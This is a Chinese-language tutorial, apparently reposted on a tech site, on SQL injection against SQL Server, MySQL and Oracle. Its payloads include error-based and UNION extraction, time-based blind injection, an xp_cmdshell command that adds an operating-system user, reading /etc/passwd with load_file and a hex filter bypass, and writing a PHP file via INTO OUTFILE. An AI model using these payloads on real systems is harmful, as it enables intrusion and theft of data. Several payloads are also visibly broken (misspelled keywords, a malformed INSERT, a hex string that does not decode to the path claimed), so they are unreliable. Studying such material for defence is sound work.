首頁 > 軟體

淺談三種資料庫的 SQL 注入

2022-08-11 14:00:26

SQL 注入原理

SQL隱碼攻擊指的是通過構建特殊的輸入作為引數傳入Web應用程式,而這些輸入大都是SQL語法裡的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,其主要原因是程式沒有細緻地過濾使用者輸入的資料,致使非法資料侵入系統。

SQL 注入分類

1. 數位型注入

當輸入的引數為整型時,則有可能存在數位型注入漏洞。

假設存在一條 URL 為:HTTP://www.aaa.com/test.php?id=1
可以對後臺的 SQL 語句猜測為:

SELECT * FROM table WHERE id=1

判斷數位型漏洞的 SQL 注入點:
① 先在輸入框中輸入一個單引號 '
這樣的 SQL 語句就會變為:

SELECT * FROM table WHERE id=1',

不符合語法,所以該語句肯定會出錯,導致指令碼程式無法從資料庫獲取資料,從而使原來的頁面出現異常。

② 在輸入框中輸入 and 1 = 1

SQL語句變為:

SELECT * FROM table WHERE id=1 and 1 = 1

語句正確,執行正常,返回的資料與原始請求無任何差異。

③ 在資料庫中輸入 and 1 = 2
SQL 語句變為:

SELECT * FROM table WHERE id=1 and 1 = 2

雖然語法正確,語句執行正常,但是邏輯錯誤,因為 1 = 2 為永假,所以返回資料與原始請求有差異。

如果以上三個步驟全部滿足,則程式就可能存在數位型 SQL 注入漏洞。

2. 字元型注入

當輸入引數為字串時,則可能存在字元型注入漏洞。數位型與字元型注入最大的區別在於:數位型不需要單引號閉合,而字元型一般需要使用單引號來閉合。

字元型注入最關鍵的是如何閉合 SQL 語句以及註釋多餘的程式碼。

假設後臺的 SQL 語句如下:

SELECT * FROM table WHERE username = 'admin'

判斷字元型漏洞的 SQL 注入點:
① 還是先輸入單引號 admin' 來測試
這樣的 SQL 語句就會變為:

SELECT * FROM table WHERE username = 'admin''。

頁面異常。

② 輸入:admin' and 1 = 1 --
注意:在 admin 後有一個單引號 ',用於字串閉合,最後還有一個註釋符 --(兩條槓後面還有一個空格!!!)。
SQL 語句變為:

SELECT * FROM table WHERE username = 'admin' and 1 = 1 --

頁面顯示正確。

③ 輸入:admin' and 1 = 2 --
SQL 語句變為:

SELECT * FROM table WHERE username = 'admin' and 1 = 2 --

頁面錯誤。

滿足上面三個步驟則有可能存在字元型 SQL 注入。

3. 其他型別

其實我覺得 SQL 注入只有兩種型別:數位型與字元型。很多人可能會說還有如:Cookie 注入、POST 注入、延時注入等。
的確如此,但這些型別的注入歸根結底也是數位型和字元型注入的不同展現形式或者注入的位置不同罷了。

以下是一些常見的注入叫法:

  • POST注入:注入欄位在 POST 資料中
  • Cookie注入:注入欄位在 Cookie 資料中
  • 延時注入:使用資料庫延時特性注入
  • 搜尋注入:注入處為搜尋的地方
  • base64注入:注入字串需要經過 base64 加密

常見資料庫的注入

攻擊者對於資料庫注入,無非是利用資料庫獲取更多的資料或者更大的許可權,利用的方式可以歸結為以下幾類:

  • 查詢資料
  • 讀寫檔案
  • 執行命令

攻擊者對於程式注入,無論任何資料庫,無非都是在做這三件事,只不過不同的資料庫注入的 SQL 語句不一樣罷了。

這裡介紹三種資料庫的注入:Oracle 11g、MySQL 5.1 和 SQL Server 2008。

SQL Server

1. 利用錯誤訊息提取資訊

SQL Server 資料庫是一個非常優秀的資料庫,它可以準確地定位錯誤資訊,這對攻擊者來說是一件十分美好的事情,因為攻擊者可以通過錯誤訊息提取自己想要的資料。

① 列舉當前表或者列
假設選擇存在這樣一張表:

查詢 root 使用者的詳細資訊,SQL 語句猜測如下:

SELECT * FROM user WHERE username = 'root' AND password = 'root'

攻擊者可以利用 SQL Server 特性來獲取敏感資訊,在輸入框中輸入如下語句:' having 1 = 1 --

最終執行的 SQL 語句就會變為:

SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --

那麼 SQL 的執行器可能會丟擲一個錯誤:

攻擊者就可以發現當前的表名為 user、而且存在欄位 id。

攻擊者可以利用此特性繼續得到其他列名,輸入如下語句:

' GROUP BY users.id HAVING 1 = 1 --

則 SQL 語句變為:

SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --

丟擲錯誤:

由此可以看到包含列名 username。可以一次遞迴查詢,知道沒有錯誤訊息返回位置,這樣就可以利用 HAVING 字句得到當表的所有列名。

注:Select指定的每一列都應該出現在Group By子句中,除非對這一列使用了聚合函數

②. 利用資料型別錯誤提取資料
如果試圖將一個字串與非字串比較,或者將一個字串轉換為另一個不相容的型別,那麼SQL 編輯器將會丟擲異常。

如下列 SQL 語句:

SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)

執行器錯誤提示:

這就可以獲取到使用者的使用者名稱為 root。因為在子查詢 SELECT TOP 1 username FROM users 中,將查詢到的使用者名稱的第一個返回,返回型別是 varchar 型別,然後要跟 int 型別的 1 比較,兩種型別不同的資料無法比較而報錯,從而導致了資料洩露。

利用此方法可以遞迴推匯出所有的賬戶資訊:

SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))。

通過構造此語句就可以獲得下一個 使用者名稱;若把子查詢中的 username 換成其他列名,則可以獲取其他列的資訊,這裡就不再贅述。

2. 獲取後設資料

SQL Server 提供了大量檢視,便於取得後設資料。可以先猜測出表的列數,然後用 UNION 來構造 SQL 語句獲取其中的資料。
如:

SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

若當前表的列數為 2,則可以 UNION 語句獲取當前資料庫表。具體怎麼猜測當前表的列數,後面進行描述。

一些常用的系統資料庫檢視:

資料庫檢視說明
SYS.DATABASESSQL Server 中的所有資料庫
SYS.SQL_LOGINSSQL Server 中的所有登入名
INFORMATION_SCHEMA.TABLES當前使用者資料庫中的所有資料表
INFORMATION_SCHEMA.COLUMNS當前使用者資料庫中的所有列
SYS.ALL_COLUMNS使用者定義物件和系統物件的所有列的聯合
SYS.DATABASE_PRINCIPALS資料庫中每個許可權或列異常許可權
SYS.DATABASE_FILES儲存在資料庫中的資料庫檔案
SYSOBJECTS資料庫中建立的每個物件 (包括約束、紀錄檔以及儲存過程)

3. ORDER BY 子句猜測列數

可以用 ORDER BY 語句來判斷當前表的列數。

如:

SELECT * FROM users WHERE id = 1——SQL執行正常

SELECT * FROM users WHERE id = 1 ORDER BY 1 (按照第一列排序)——SQL執行正常

SELECT * FROM users WHERE id = 1 ORDER BY 2 (按照第二列排序)——SQL執行正常

SELECT * FROM users WHERE id = 1 ORDER BY 3 (按照第三列排序)——SQL 執行正常

SELECT * FROM users WHERE id = 1 ORDER BY 4 (按照第四列排序)——SQL 丟擲異常:

由此可以得出,當前表的列數只有 3 列,因為當按照第 4 列排序時報錯了。在 Oracle 和 MySql 資料庫中同樣適用此方法。

在得知列數後,攻擊者通常會配合 UNION 關鍵字進行下一步的攻擊。

4. UNION 查詢

UNION 關鍵字將兩個或多個查詢結果組合為單個結果集,大部分資料庫都支援 UNION 查詢。但適用 UNION 合併兩個結果有如下基本規則:

  • 所有查詢中的列數必須相同
  • 資料型別必須相容

① 用 UNION 查詢猜測列數
不僅可以用 ORDER BY 方法來猜測列數,UNION 方法同樣可以。

在之前假設的 user 表中有 5 列,若我們用 UNION 聯合查詢:

SELECT * FROM users WHERE id = 1 UNION SELECT 1

資料庫會發出異常:

可以通過遞迴查詢,直到無錯誤產生,就可以得知 User 表的查詢欄位數:
UNION SELECT 1,2UNION SELECT 1,2,3

也可以將 SELECT 後面的數位改為 null、這樣不容易出現不相容的異常。

② 聯合查詢敏感資訊

在得知列數為 4後,可以使用一下語句繼續注入:
UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U' (注:xtype=‘U’ 表示物件型別是表)

若第一列的資料型別不匹配,資料庫會報錯,那麼可以遞迴查詢,直到語句相容。等到語句正常執行,就可以將 x 換為 SQL 語句,查詢敏感資訊。

5. 利用SQL Server 提供的系統函數

SQL Server 提供了非常多的系統函數,利用該系統函數可以存取 SQL Server 系統表中的資訊,而無需使用 SQL 查詢語句。

如:

  • SELECT suser_name():返回使用者的登入標識名
  • SELECT user_name():基於指定的標識號返回資料庫使用者名稱
  • SELECT db_name():返回資料庫名
  • SELECT is_member(‘db_owner’):是否為資料庫角色
  • SELECT convert(int, ‘5’):資料型別轉換

6. 儲存過程

儲存過程 (Stored Procedure) 是在大型資料庫系統中為了完成特定功能的一組 SQL “函數”,如:執行系統命令、檢視登入檔、讀取磁碟目錄等。

攻擊者最長使用的儲存過程是 “xp_cmdshell”,這個儲存過程允許使用者執行作業系統命令。
例如:http://www.aaa.org/test.aspx?id=1 中存在注入點,那麼攻擊者就可以實施命令攻擊:
http://www.aaa.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'

最終執行的 SQL 語句如下:

SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'

分號後面的那一段語句就可以為攻擊者在對方伺服器上新建一個使用者名稱為 test、密碼為 test 的使用者。
注:並不是任何資料庫使用者都可以使用此類儲存過程,使用者必須持有 CONTROL SERVER 許可權。

常見的危險儲存過程如下表:

儲存過程說明
sp_addlogin建立新的 SQL Server 登入,該登入允許使用者使用 SQL Server 身份連線到 SQL Server 範例
sp_dropuser從當前資料庫中刪除資料庫使用者
xp_enumgroups提供 Microsoft Windows 本地組列表或在指定的 Windows 域中定義全域性組列表
xp_regread讀取登入檔
xp_regwrite寫入登入檔
xp_redeletevalue刪除登入檔
xp_dirtree讀取目錄
sp_password更改密碼
xp_servicecontrol停止或啟用某服務

另外,任何資料庫在使用一些特殊的函數或儲存過程時,都需要特定的許可權。常見的SQL Server 資料庫的角色與許可權如下:

角色許可權
bulkadmin可以執行 BULK INSERT 語句
dbcreator可以建立、更改、刪除和還原任何資料庫
diskadmin可以管理磁碟檔案
processadmin可以種植在資料庫引擎中執行的範例
securityadmin可以管理登入名及其屬性;可以利用 GRANT、DENY 和 REVOKE 伺服器級別的許可權;還可以利用 GRANT、DENY 和 REVOKE 資料庫級別的許可權;此外也可以重置 SQL Server 登入名的密碼
serveradmin可以更改伺服器範圍的設定選項和關閉伺服器
setupadmin可以新增和刪除連結伺服器,並可以執行某些系統儲存過程
sysadmin可以在資料庫引擎中執行任何活動

7. 動態執行

SQL Server 支援動態執行語句,使用者可以提交一個字串來執行 SQL 語句。

如:exec('SELECT username, password FROM users')

也可以通過定義十六進位制的 SQL 語句,使用 exec 函數執行。大部分 Web 應用程式和防火牆都過濾了單引號,利用 exec 執行十六進位制 SQL 語句可以突破很多防火牆及防注入程式,如:

declare @query varchar(888)
select @query=0x73656C6563742031
exec(@query)

或者:

declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)

MySQL

前面詳細講述了 SQL Server 的注入過程,在注入其他資料庫時,基本思路是相同的,只不過兩者使用的函數或者是語句稍有差異。

1. MySQL 中的註釋

MySQL 支援以下 3 中註釋風格:

  • “#”: 註釋從 “#” 到行尾
  • "-- " :註釋從 “-- ”序列到行位,需要注意的是使用此註釋時,後面需要跟上空格
  • /**/:註釋從 /* 到 */ 之間的字元

2. 獲取後設資料

MySQL 5.0 及其以上版本提供了 INFORMATION_SCHEMA,這是一個資訊資料庫,它提供了存取資料庫後設資料的方式。下面介紹如何從中讀取資料庫名稱、表名稱以及列名稱。

① 查詢使用者資料庫名稱
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
INFORMATION_SCHEMA.SCHEMATA 表提供了關於資料庫的資訊。

②查詢當前資料表
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())
INFORMATION_SCHEMA.TABLES 表給出了資料庫中表的資訊。

③查詢指定表的所有欄位
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'
INFORMATION_SCHEMA.COLUMNS 表中給出了表中的列資訊。

3. UNION 查詢

與 SQL Server 大致相同,此處不贅述。

4. MySQL 函數利用

無論是 MySQL、Oracle 還是其他資料庫都內建了許多系統函數,這些資料庫函數都非常類似,接下來介紹一些對滲透測試人員很有幫助的 MySQL 函數。

① load_file() 函數讀檔案操作
MySQL 提供了 load_file() 函數,可以幫助使用者快速讀取檔案,但檔案的位置必須在伺服器上,檔案必須為絕對路徑,且使用者必須有 FILE 許可權,檔案容量也必須小於 max_allowed_packet 位元組 (預設為 16MB,最大為 1GB)。

SQL 語句如下:

UNION SELECT 1, load_file('/etc/passwd'), 3, 4 #

通常一些防注入語句不允許單引號出現,那麼可以使用一下語句繞過:
UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 #
“0x2F6561342F706173737764” 為 “/etc/passwd” 的十六進位制轉換結果。

在瀏覽器返回資料時,有可能存在亂碼問題,那麼可以使用 hex() 函數將字串轉換為十六進位制資料。

② into outfile 寫檔案操作
MySQL 提供了向磁碟寫檔案的操作,與 load_file() 一樣,必須有 FILE 許可權,並且檔案必須為全路徑名稱。

寫入檔案:

SELECT '<?php phpinfo();?>' into oufile 'C:wwwroot1.php'

③ 連線字串
MySQL 如果需要一次查詢多個資料,可以使用 concat() 或 concat_ws() 函數來完成。

SELECT name FROM student WHERE id = 1 UNION SELECT concat(user(), ',', database(), ',', version());

也可以將逗號改用十六進位製表示:0x2c

5. MySQL 顯錯式注入

MySQL 也存在顯錯式注入,可以像 SQL Server 資料庫那樣,使用錯誤提取訊息。

① 通過 updatexml 函數執行 SQL 語句

首先了解下updatexml()函數:
updatexml (XML_document, XPath_string, new_value);
第一個引數:XML_document是String格式,為XML檔案物件的名稱;
第二個引數:XPath_string (Xpath格式的字串) ,
第三個引數:new_value,String格式,替換查詢到的符合條件的資料

SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1)

其中的concat()函數是將其連成一個字串,因此不會符合XPATH_string的格式,從而出現格式錯誤,報錯,會顯示出無法識別的內容:

② 通過 extractvalue函數

SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))

同樣報錯顯示出當前使用者:

6. 寬位元組注入

寬位元組注入是由編碼不統一所造成的,這種注入一般出現在 PHP + MySQL中。

在 PHP 組態檔 php.ini 中存在 magic_quotes_gpc 選項,被稱為魔術引號,當此選項被開啟時,使用 GET、POST、Cookie 所接受的 單引號(’)、雙引號(")、反斜線() 和 NULL 字元都會自動加上一個反斜線跳脫。

如下使用 PHP 程式碼使用 $_GET 接收引數:

如存取URL:http:/www.xxser.com/Get.php?id=',顯示如下:

單引號'被跳脫後就變成了',在 MySQL 中,'是一個合法的字元,也就沒辦法閉合單引號,所以,注入型別是字元型時無法構成注入。

但是若是輸入:%d5',存取URL:http:/www.xxser.com/Get.php?id=%d5',顯示如下:

可以發現,這次單引號沒有被跳脫,這樣就可以突破 PHP 跳脫,繼續閉合 SQL 語句進行 SQL 注入。

7. MySQL 長字元截斷

MySQL 超長字元截斷又名 “SQL-Column-Truncation”。
在 MySQL 中的一個設定裡有一個 sql_mode 選項,當 sql_mode 設定為 default 時,即沒有開啟 STRICT——ALL_TABLES 選項時,MySQL 對插入超長的值只會提示 waring,而不是 error。

假設有一張表如下:

username 欄位的長度為 7。

分別插入一下 SQL 語句:
① 插入正常 SQL 語句:

INSERT users(id, username, password) VALUES(1, 'admin', 'admin');

成功插入。

② 插入錯誤的 SQL 語句,使 username 欄位的長度超過7:

INSERT users(id, username, password) VALUES(2, 'admin ', 'admin');

雖然有警告,但是成功插入了。

③ 再嘗試插入一條錯誤的 SQL 語句,長度同一超過原有的規定長度:

INSERT users(id, username, password) VALUES(3, 'admin x), 'admin;

查詢資料庫:

可以看到,三條資料都被插入到資料庫中,但是值發生了變化。在預設情況下,如果資料超出預設長度,MySQL 會將其階段。

但是這樣怎麼攻擊呢?通過查詢使用者名稱為 admin 的使用者:

可以發現,只查詢使用者名稱為 admin 的使用者,但是另外兩個長度不一致的 admin 使用者也被查詢出,這樣就會造成一些安全問題。

比如有一處管理員登入時這樣判斷的:

$sql = "SELECT count(*) FROM users WHERE username = 'admin' AND password = '***'";

那麼攻擊者只需要註冊一個長度超過規定長度的使用者名稱“admin ”即可輕易進入後臺管理頁面。

8. 延時注入

延時注入屬於盲注技術的一種,是一種基於時間差異的注入技術。下面以 MySQL 為例介紹延時注入。

在 MySQL 中有一個函數:sleep(duration),這個函數意思是在 duration 引數給定數秒後執行語句,如下 SQL 語句:

SELECT * FROM users WHERE id = 1 AND sleep(3)

就是將在 3 秒後執行該 SQL 語句。

可以使用這個函數來判斷 URL 是否存在 SQL 注入漏洞,步驟如下:

通過頁面返回的世界可以斷定,DBMS 執行了 and sleep(3) 語句,這樣一來就可以判斷出 URL 存在 SQL 注入漏洞。

然後通過 sleep() 函數還可以讀出資料,但需要其他函數的配合,步驟如下:
①查詢當前使用者,並取得字串長度
執行SQL 語句:

AND if(length(user()) = 0, sleep(3), 1)

如果出現 3 秒延時,就可以判斷出 user 字串長度,注入時通常會採用折半演演算法減少判斷。

② 擷取字串第一個字元,並轉換為 ASCII 碼

AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1)
AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)
……

不斷更換 ASCII 碼直到出現延時 3 秒就可以猜測出第一個字元。

③ 遞迴擷取字串每一個字元,分別於 ASCII 碼比較

AND if(hex(mid(user(), L, 1)) = N, sleep(3), 1)

注:L 的位置代表字串的第幾個字元,N 的位置代表 ASCII 碼。

不僅在 MySQL 中存在延時函數,在 SQL Server、Oracle 等資料庫中也都存在類似功能的函數,如 SQL Server 的 waitfor delay、Oracle 中的 DBMS_LOCK.SLEEP 等函數。

Oracle

1. 獲取後設資料

Oracle 也支援查詢後設資料,下面是 Oracle 注入常用的後設資料檢視:
① user_tablespaces 檢視,檢視表空間

SELECT tablespace_name FROM user_tablespaces

② user_tables 檢視,檢視當前使用者的所有表

SELECT table_name FROM user_tables WHERE rownum = 1

③ user_tab_columns 檢視,檢視當前使用者的所有列,如查詢 user 表的所有列:

SELECT column_name FROM user_tab_columns WHERE table_name = 'users'

④ all_users 檢視,檢視 ORacle 資料庫的所有使用者

SELECT username FROM all_users

⑤ user_objects 檢視,檢視當前使用者的所有物件 (表名稱、約束、索引)

SELECT object_name FROM user_objects

2. UNION 查詢

Oracle 與 MySQL 一樣不支援多語句執行,不像 SQL Server 那樣可以用分號隔開從而注入多條 SQL 語句。

①獲取列的總數

獲取列總數方法與前面兩種資料庫類似,依然可以使用 ORDER BY 子句來完成。

另一種方法是利用 UNION 關鍵字來確定,但是 Oracle 規定,每次查詢時後面必須跟表的名稱,否則查詢將不成立。

在 Oracle 中可以使用:

UNION SELECT null, null, null …… FROM dual

這裡的 dual 是 Oracle 中的虛擬表,在不知道資料庫中存在哪些表的情況下,可以使用此表作為查詢表。

然後獲取非數位型別列,即可以顯示出資訊的列:

UNION SELECT 'null', null, null, …… FROM dual
UNION SELECT null, 'null', null, …… FROM dual

把每一位的 null 依次用單引號 ’ 引起來,如果報錯,則不是字串型別的列;如果返回正常,則是字串型別的列,就可以在相應的位置插入查詢語句獲取資訊。

② 獲取敏感資訊
常見的敏感資訊如下:

  • 當前使用者許可權:SELECT * FROM session_roles
  • 當前資料庫版本:SELECT banner FROM sys.v_$version WHERE rownum = 1
  • 伺服器出口 IP:用utl_http.request 可以實現
  • 伺服器監聽 IP:SELECT utl_inaddr.get_host_address FROM dual
  • 伺服器作業系統:SELECT member FROM v$logfile WHERE rownum = 1
  • 伺服器 SID:SELECT instance_name FROM v$instance
  • 當前連線使用者:SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM dual

③ 獲取資料庫表及其內容

在得知表的列數之後,可以通過查詢後設資料的方式查詢表名稱、列名稱,然後查詢資料,如:
http://www.aaa.org/new.jsp?id=1 UNION SELECT username, password, null FROM users --
注意:在查詢資料時同樣要注意資料型別,否則無法查詢,只能一一測試,改變引數的查詢位置。

到此這篇關於淺談三種資料庫的 SQL 注入的文章就介紹到這了,更多相關SQL 注入內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!


IT145.com E-mail:sddin#qq.com